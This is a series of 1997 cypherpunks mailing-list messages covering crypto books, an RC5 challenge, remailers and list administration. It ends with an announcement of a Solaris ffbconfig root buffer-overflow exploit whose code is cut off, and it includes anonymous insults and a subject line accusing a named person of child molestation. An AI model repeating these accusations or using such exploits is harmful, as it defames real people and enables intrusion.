Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.


reposted from cryptography@c2.org

Brian




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Mon, 10 Feb 1997 04:55:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Codebreakers delivered OK
Message-ID: <9702101255.AA21355@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Gary,

Thanks for the book, which arrived safely (last week,
when I was on leave and tiling my bathroom).


Cypherpunks,

In mid-December I asked on this list whether people
would recommend buying books from Gary Rasmussen.
    Message-Id: <9612131954.AA28856@clare.risley.aeat.co.uk>
    Subject: Would you send money to Gary Rasmussen ?
I got several replies for, and none against.  Thanks
to those who replied.

I am now pleased to add my data point.  He has sent my copy
of Kahn's Codebreakers.  The delay from mid-December was almost
entirely caused by banking issues.  Money transfers are not as fast
or cheap as I think they should be in 1997.  Gary tells me he may in
future get equipped to take credit cards.

His catalogue contains stuff sure to interest anybody with plenty of time.
Here is his comment:
 > NOTE: An additional benefit of ACA membership is eligibility for discounts
 > on a selection of new (unused) books on the history and practice of 
 > traditional ciphers, codes, and signals intelligence from Classical Crypto
 > Books. For a free catalog, send email to RagyR@aol.com.



 -- Peter Allan    peter.allan@aeat.co.uk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Feb 1997 04:33:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Elliptic curves
Message-ID: <199702101217.NAA15745@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May's father, an idiot, stumbled 
across Timothy May's mother, an imbecile, 
when she had no clothes on. Nine months later 
she had a little moron.

 /\/\
 \  / Timothy May
  \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Feb 1997 11:20:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting ressource
Message-ID: <v0300781aaf252474ec38@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: leroux@mail.vdl2.ca
Date: Mon, 10 Feb 1997 13:05:08 -0500
To: dcsb@ai.mit.edu
From: Philippe Le Roux <leroux@vdl2.ca>
Subject: Interesting ressource
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Philippe Le Roux <leroux@vdl2.ca>

The IEEE published a special issue of Spectrum
(http://www.spectrum.ieee.org/contents/) about digital commerce and ecash.

This is the index :

Electronic money: toward a virtual wallet
By Tekla S. Perry
Hard currency is disappearing from many everyday transactions along the
road to electronic money.

Future of electronic money: a regulator's perspective
By Edward W. Kelley Jr.
The way electronics will fit into the evolution of money--from acting as a
niche player
to wreaking major changes in payment systems--has yet to be determined.

Credits and debits on the Internet
By Marvin A. Sirbu
CyberCash, First Virtual, GC Tech, NetBill--these and other systems have
been developed to enable electronic transfers of payments across the
Internet.

'Minting' electronic cash
By David Chaum & Stefan Brands
Electronic cash can offer transaction privacy to honest users, affords
convenient storage and transportation, and protects against loss.

Traceable e-cash
By Peter S. Gemmell
One method of making electronic cash transactions private for honest users but
traceable by law enforcement agencies involves the use of trustees.

Crime and prevention: a Treasury viewpoint
By Stanley E. Morris
The speed and anonymity of electronic payment systems make them attractive
to those pursuing illicit activities.

Locking the e-safe
By Robert W. Baldwin & C. Victor Chang
Existing encryption-based security mechanisms can be combined to minimize a
wide range of threats to electronic commerce.

In your pocket: smartcards
By Carol Hovenga Fancher
A wallet full of cash, credit, and identification cards may, in the future,
be replaced
with two or three smartcards, each containing an IC, as a recent flurry of
market
tests and smartcard rollouts demonstrates.

Banking in cyberspace: an investment in itself
By Michael C. McChesney
While home banking has been around for some time, Internet banking is a new
concept, and has a number of advantages.

Technology takes to securities trading
By Steven M. H. Wallman
>From stock offerings conducted entirely over the Internet, to the
automation of traditional exchanges, technology is changing the way stock
markets work.

Nasdaq's technology floor: its president takes stock
By Alfred R. Berkeley III
This screen-based stock market has been particularly sensitive to the
effects of new
computer and communications capabilities.

The economics of e-cash
By Mike Ter Maat
Electronic cash can create profits for its issuers, and launch competition
for today's
government-controlled currency systems.

Money and the Internet: a strange new relationship
By Howard Anderson
This visionary sees the e-money revolution as inevitable, with "e-mail for
money"
becoming as ubiquitous in the future as e-mail messages are already today.


*PLR!

------------------------------------------------------------------------------
Philippe Le Roux
Associe de V(DL)2 Inc.
Membre du SCIP (Society of Competitive Intelligence Professionals)
Co-Auteur d'Internet Secrets (IDG - 95)
Chroniqueur a Benefice.Net

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs
/C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv
dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC
g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL
HY4WrDBs9wSXZ70=
=tEnk
-----END PGP PUBLIC KEY BLOCK-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <ptrei@acm.org>
Date: Mon, 10 Feb 1997 13:49:14 -0800 (PST)
To: coderpunks@toad.com
Subject: Re: RC5-12/32/6 contest solved
Message-ID: <199702101912.LAA25876@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          Germano Caronni <caronni@tik.ee.ethz.ch>
> Date:          Mon, 10 Feb 1997 18:52:23 +0100 (MET)
> To:            crypto-challenge@rsa.com
> Cc:            gec@acm.org, challenge@tik.ee.ethz.ch, coderpunks@toad.com
> Subject:       RC5-12/32/6 contest solved

> challenge: RC5-32/12/6
> solution: 74 a3 53 cc 0b 19
> name: Germano Caronni et al.
> address: Germano Caronni
>          Talstrasee 7
>          CH-8102 Oberengstringen
>          (Switzerland)
> email: gec@acm.org
> phone: +41 1 6327006
> time: from start of contest until Mon Feb 10 18:52:23 1997
> method: again, massive distributed coordinated keysearch
> done:

Congratulations! This is the longest symmetric key ever brute forced
in public.

Now, onto cracking DES, which is probably easier than 56 bit RC5.
I have NT/Win95/(portable C) code and executables available to 
US/Canadian citizens in the US/Canada.

If you want a copy (I'm up to version 0.6, a late beta), then
send ptrei@acm.org your: 

1. Real name and residence address.
2. A statement that you are aware of and will abide by the 
   US/Canadian export regulations.
3. A statement that you are a US/Canadian citizen, or a US 
   Green Card holder.
4. The email address to which to send the software.

I will hold this information in confidence.

Peter Trei
trei@process.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 10 Feb 1997 11:48:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nothing Can Stop the Net
Message-ID: <3.0.1.32.19970210145225.025c5d0c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


Mule Power Used to Install Fiber-Optic Cable 

February 10, 1997
11.54 a.m. (1654 GMT)

SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could
get over or around the rugged terrain confronting electricians trying to install
fiber optic cable through the Ozarks. 

So they shifted their sights from high-tech to low-tech and hired Festus, Jake,
Red and I.B. -- four Missouri mules -- to string 40 miles of cable through
southwestern Missouri. 

"Today's thought is `fast and done quick and make the big money,"' said mule
skinner James King, who works the mules for B&L Electrical Contractors. "A
lot of people have forgot the fastest way to get through the country is on a
mule or a horse." 

Even through city traffic, the mules are getting the job done. 

The idea first came about when Empire District Electric Co. was looking for
contractors to install fiber optic cable. The cable was to run along the path of a
power line strung in 1912. More than 80 years later, it was deemed
inaccessible to vehicles in most places because of steep hills, trees or other
impediments, such as chain-link fences. 

B&L submitted a bid based on doing the work with mules. The estimate was
tricky since the company had never used mules. And if they couldn't do the
job, a backup plan would have cost much more. 

"This is extremely rugged terrain. You couldn't get any motorized vehicles in
there," said Clint Lam, manager of B&L. "You could build a road through
there, but cost-wise, it would be so expensive." 

Empire didn't know the estimate was based on mule power. But when they
learned of the idea, it seemed logical, said Darrell Wilson, Empire's
telecommunications foreman. He told colleagues at a recent training seminar
about the mules' success. 

"Everybody thought I was joking," Wilson said. "They thought I meant an
ATV, some mechanical 4-wheel drive. They didn't really think it was a
four-legged animal. They were a little surprised when I said, `No, I mean a real
mule."' 

The mule skinners hook one end of the cable to an overhead pole and knot the
other end to a mule's saddle. Then the animal pulls. 

All-terrain vehicles are prone to tipping on uneven surfaces, while mules are
sure-footed and can jump creeks or chain-link fences. In fact, they worked so
well in the rough stuff, they were kept on even when the line reached
Springfield, the state's third-largest metropolitan area. 

"I think we're going to try to vote in a new position in our contract for mule
skinner," crew foreman John Agee joked. 

Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor
and an expert on mules, was not surprised to learn of the mules' success. 

"The mule will go places, over banks and rough terrain and stand up and be
able to pull that cable through where horses will have trouble," he said. 

Festus, at 1,250 pounds the largest of the crew, drew curious glances from
motorists as he and skinner King recently hauled cable through exhaust-stained
snowbanks near a busy city intersection. Festus wasn't fazed, though he was a
bit trailer-sick from the 30-mile commute from Galena. 

"This is his first day on the job," the hard-hatted King said from the saddle
where he wraps the rope or cable being pulled by the mule. Festus can tow up
to 14,000 feet of cable, a load weighing more than 1 ton. 

Some people who saw the mules at work didn't know exactly what they were,
which King found remarkable. After all, mules were made Missouri's state
animal in 1995. 

"`Look, ma -- it's a horse!"' King said, mimicking what he's heard from
children passing the work crew. "It's a good old Missouri mule." 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phr@netcom.com (Paul Rubin)
Date: Mon, 10 Feb 1997 15:00:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: sci.crypt archive?
Message-ID: <199702102300.PAA06838@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
in getting hold of some articles from some years back... thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 10 Feb 1997 15:00:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: this has gone on long enough
Message-ID: <199702102300.PAA28316@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


As of sometime in the last 96 hours I have been forcefully unsubscribed from
this list.  This action was not of my free will and not one that I think was
perpretrated by those in charge of the list.  (I got a response from
majordomo concerning who was on and my name wasn't)
As I have heard from, and replied to some, others who were forcefully
subscribed to cypherpunks, I can only assume that this is part of the same
campaign.
Please send me any copies of majordomo activity involving my address that
was sent in the last 96 hours so that I can determine the culprit myself.
I had no intention of removing myself from the list and intend to maintain a
member, at least until a superior system with sufficient load is developed.
As I just now resubscribed to the list (unedited, although I know that the
moderation experiment has ended), I may not see any immediate replies, so
please cc me.
As to my check with majordomo, I was not checking to see if I had been
unsubscribed, but to see if the unedited list still existed.  since I
stopped receiving mail shortly after, I assumed, falsely, that the unedited
list subscribers had been merely dropped.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Feb 1997 14:06:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore sexually molests small children
In-Reply-To: <32FF31A9.2E04@cuckoo.com>
Message-ID: <k7eX2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Cuckoo <cuckoo@cuckoo.com> writes:

>  Cuckoo (<-- Dr. Vulis 'made' me use this name.)

Blaming Sandy Sandfart for his outrageous acts and forgetting about John
Gilmore and Sameer parekh is like blaming Eichmann and forgetting Adolf
Hitler - the great vegetarian, many of whose subordinates said at Nuremberg,
"I was only following my orders!"

Show some compassion, you you. :-) If C2Net folds and/or if Sameer fires
Sandy for blowing the "moderation experiment", Sandy might have difficulty
finding anothr job. Is he on Timmy May's "don't hire" list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 10 Feb 1997 15:13:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: this has gone on long enough
Message-ID: <199702102313.PAA28847@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:00 PM 2/10/97 -0800, I wrote:
>As of sometime in the last 96 hours I have been forcefully unsubscribed from
>this list.  This action was not of my free will and not one that I think was
...
I forgot to check my mail before sending this.  This is not to say that
there was mail there, merely that eudora verifies mail by password.  Since I
had not checked my mail, the last message was unverified.  This is to verify it.
I sent it, I admit it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Mon, 10 Feb 1997 14:57:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: smart cards
Message-ID: <199702102257.PAA15338@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dirtbag Vinegar K]rud[OfTheMoment's obsessive masturbation has
lead to advanced degree of blindness and hairy palms.

   o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
  /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
  / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
     Dr.Dirtbag Vinegar K]rud[OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 10 Feb 1997 16:43:03 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>, gnu
Subject: Re: this has gone on long enough
In-Reply-To: <Pine.SUN.3.91.970210150613.20916B-100000@crl.crl.com>
Message-ID: <199702110042.QAA02191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach said:
> As of sometime in the last 96 hours I have been forcefully unsubscribed from
> this list.  This action was not of my free will and not one that I think was
> perpretrated by those in charge of the list.

Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
epidemic on the list these days.

I removed your address from the mailing list because it was producing
a bounce message for every message to cypherpunks.  I regularly 
remove addresses when this occurs; the alternative is to receive
thousands of bounce messages each day from non-working addresses.
I'll append the set of addresses that I removed on the same day
as you, for your edification.

I'll also enclose one of the bounces.

If you fix your mail so it doesn't bounce, you are welcome to
re-subscribe.

	John Gilmore

1997/2/9 - gnu - bounces
snowdog@iconn.net (cp-ann)
se03565@els.url.es (cp-ann)
drjarmon@ingr.com (cp-ann)
ycz@alpha4.cs.nthu.edu.tw
yu123110@yorku.ca
bishop.trish@sympatico.ca
106076.1155@compuserve.com (by request)
security@harter.pg.md.us
omega@bigeasy.com
roach_s@alph.swosu.edu (cp-unedited)
lupus@hempseed.com (cp-ann)
THRPWC@smtpgate.lfwc.lockheed.com
al.tan@usa.net
vickeryk@tyrell.net
crash@eramp.net
phreaker@scholars.bellevue.edu
alexc@firefly.net
malaficia@mindspring.com
BadAppleDH@aol.com
otsge_mail@usa.net (for bounces re mecca_inc@msn.se)
under@ground.net


>From MAILER-DAEMON Sun Feb  9 20:03:36 1997
Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST)
Message-Id: <199702100403.UAA17045@toad.com>
Date:     Sun, 9 Feb 1997 22:03:48 -0600 (CST)
From: Postmaster@alph.swosu.edu
Subject:  Undeliverable Mail
To: <cypherpunks-errors@toad.com>

Bad address -- <roach_s>
Error -- Message too old: 
    %MAIL-E-SENDERR, error sending to user ROACH_S
    -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI
    -RMS-E-EXT, ACP file extend failed
    -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
    -PLI-F-NOMSG, Message number 001EBB8C

Start of returned message

  Received: from toad.com by alph.swosu.edu with SMTP;
            Sun, 9 Feb 1997 18:03:43 -0600 (CST)
  Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST)
  Received: from mail.pacifier.com (root@mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST)
  Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250])
            by mail.pacifier.com (8.8.5/8.8.4) with SMTP
  	  id PAA12294 for <cypherpunks@toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST)
  Message-Id: <199702092355.PAA12294@mail.pacifier.com>
  X-Sender: jimbell@mail.pacifier.com
  X-Mailer: Windows Eudora Light Version 1.5.2
  Mime-Version: 1.0
  Content-Type: text/plain; charset="us-ascii"
  Date: Sun, 09 Feb 1997 15:53:43 -0800
  To: cypherpunks@toad.com
  From: jim bell <jimbell@pacifier.com>
  Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
  Sender: owner-cypherpunks@toad.com
  Precedence: bulk
  
  I'm forwarding this from the commonlaw list because of the usage of the 
  name, "cypherpunks."
  ...  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 11 Feb 1997 03:37:57 -0800 (PST)
To: 2ndSun@bigfoot.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <855658890.66224.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> You're giong to have to find a way to get me off of your piss-ant mailing
> list.

Ecouter et repeter: "going"
                              
Now, if you didn`t have shit for brains you would have followed the 
instructions I sent you last time on how to unsubscribe from the 
cypherpunks mailing list. However, as you evidently have no wit or 
intelligence whatsoever, nor do you seem able to comprehend 
anything phrased in standard English here are the instructions in 
moron.


To unsubscribe from the piss-ant motherfuckers mailing list you are 
giong to have to dooo teh folwoing:

Send a piss-ant message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks 2ndsun@bigfoot.com

Either this or contact postmaster@bigfoot.com and ask him to mailkill 
all mailing list traffic for you.





  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Mon, 10 Feb 1997 10:08:59 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: New X-Ray Imager
Message-ID: <19970210180856.27779.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Igor Chudov @ home wrote:

> Let's remember though that perception of security applies not
> only to passengers, but also to potential terrorists. If they *think*
> that they would not be able to bring a bomb easily, they would be less
> inclined to do so.

Do you seriously believe that a terrorist who wishes to take an explosive
device on board a plane fears the security of an airport? It's not
possible to put such a thought into anyone but a prole; we are not proles,
and they are not proles. The real effect and intent is obvious.

--3bmice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 10 Feb 1997 18:22:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: PRNG
Message-ID: <199702110222.SAA29362@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Timmy Mayo descends into total inanity. He should have a 
cold shower and/or a Turkish coffee.

       ----
      '@  *> Timmy Mayo
      |\   7
     / `-- _





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 10 Feb 1997 18:25:59 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: this has gone on long enough
Message-ID: <199702110225.SAA04917@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:42 PM 2/10/97 -0800, John Gilmore wrote:
>Sean Roach said:
>> As of sometime in the last 96 hours I have been forcefully unsubscribed from
>> this list.  This action was not of my free will and not one that I think was
>> perpretrated by those in charge of the list.
>
>Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
>epidemic on the list these days.
>
>I removed your address from the mailing list because it was producing
>a bounce message for every message to cypherpunks.  I regularly 
>remove addresses when this occurs; the alternative is to receive
>thousands of bounce messages each day from non-working addresses.
>I'll append the set of addresses that I removed on the same day
>as you, for your edification.
>
Thank you for the explanation.  I had discounted this as a reason as I
normally get some warning from the VAX before something like this would be a
threat.  (My mail won't compress and I have to go in and do it manually.)  I
had assumed that since I had no trouble with compression that that wasn't
the answer.  I apologise for jumping to conclusions and I hope that I can
check my mail more often.  (Only a real hassle during weekends when I am
called home from school.)
Thanks again for the reassurance.

BTW, now that the moderation experiment is over, how do you intend to
integrate the lists?  Are you going to combine them?  Are you going to run
them through a filter to eliminate duplications?  Are you going to give any
warning before the unedited list is eliminated?  (no longer needed, since
the main list is now a duplicate.)

Thanks again, I am naturally suspicious.  That's "one" of the reasons that I
subscribed to this list to begin with.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 10 Feb 1997 20:00:10 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: lead remailer is shut down
In-Reply-To: <199702071958.LAA18779@peregrine.eng.sun.com>
Message-ID: <3.0.1.32.19970210183230.002ed8f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 AM 2/7/97 -0800, Ed Falk wrote:
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Most remailers have some basic spam safeguards, typically
how many messages per day or per session or whatever.
They also implement blocking on specific source or destinations,
which makes it easier to stop known spam sources and reduce
hassle for people who don't want to be spammed.

Limited number of posts per source or per destination are less useful,
since people use chained remailers - most messages will have a
remailer as either the source, destination, or both,
so it's fairly common to have lots of messages from one source.

Mass crossposts aren't all that bad; if you're running a decent
newsreader you'll only see that kind of spam once.  The bad ones are
multiple identical or nearly-identical messages posted to one or
a few newsgroups each, which are harder to detect and much more 
annoying to the reader.  On the other hand, NoCeMs can catch them,
if anybody's sending and using them.

I don't know how many people have the capability to block on Subject:
or message content; I remember getting bouncemails for things that
had variants on M AK E  M O N E Y  F A S T in them, so there are or were
other remailers that block those.

It's hard to find a good definition of spam, and hard to implement it
without keeping lots of extra records you'd probably rather not keep,
and spammers who are willing to do work can find out your limits,
especially if they're in a policy document somewhere, and evade them,
sending as much through each remailer as fits under the radar.
Fortunately, most spammers don't bother.

Back when I was running a remailer, it was a modified Ghio2 version;
I'd fixed some bugs in it, and took the spam detector behavior from
highly rude (shutting itself down quietly) to mildly rude (shutting
itself down noisily); the basic model was to stop entirely under
big spam attacks and let a human fix it up, rather than trying to resolve
them subtlely, which is more appropriate for small spamming.
The advantage of this approach is that you don't have mysterious
message losses; it's all or nothing.  (Well, you still get some 
mysterious losses, but mostly from bugs or interactions with
other types of remailers.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Feb 1997 16:29:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Teledesic Looks At SS-18's
Message-ID: <v03007829af256ac40157@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 10 Feb 1997 11:59:44 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Teledesic Looks At SS-18's
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 285

Teledesic Might Launch With Converted SS-18s

Teledesic Corp. is talking with a newly formed Russian-Ukrainian
group about launching up to 204 Teledesic satellites into low Earth
orbit aboard converted SS-18 missiles.

The Dnepr rocket is backed by the Russian and Ukrainian governments.
Their space agencies are partners in a joint-venture company to sell
commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye
State Design Bureau are marketing the Dnepr. Teledesic, a U.S.
telecommunications company, plans to place about 900 satellites in
space.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Mon, 10 Feb 1997 09:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Sloaris 2.X ffbconfig + exploit
Message-ID: <Pine.GSO.3.95.970210192433.1304G-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



Mon Feb 10 15:58 EET 1997 Romania  

"Buffer Overflow" rules.

I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow  you
to gain root access on your machine. I used an exploit written by Jeremy Elson
for gethostbyname() buffer overflow hole (I modified some values to make this 
work).   

I dont now yet what in ffbconfig is wrong but Im still diging. So more 
detailes later.

Here's the exploit for Solaris 2.X:


---------------------------------- first  ------------------------------------- 
/*
This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
*/

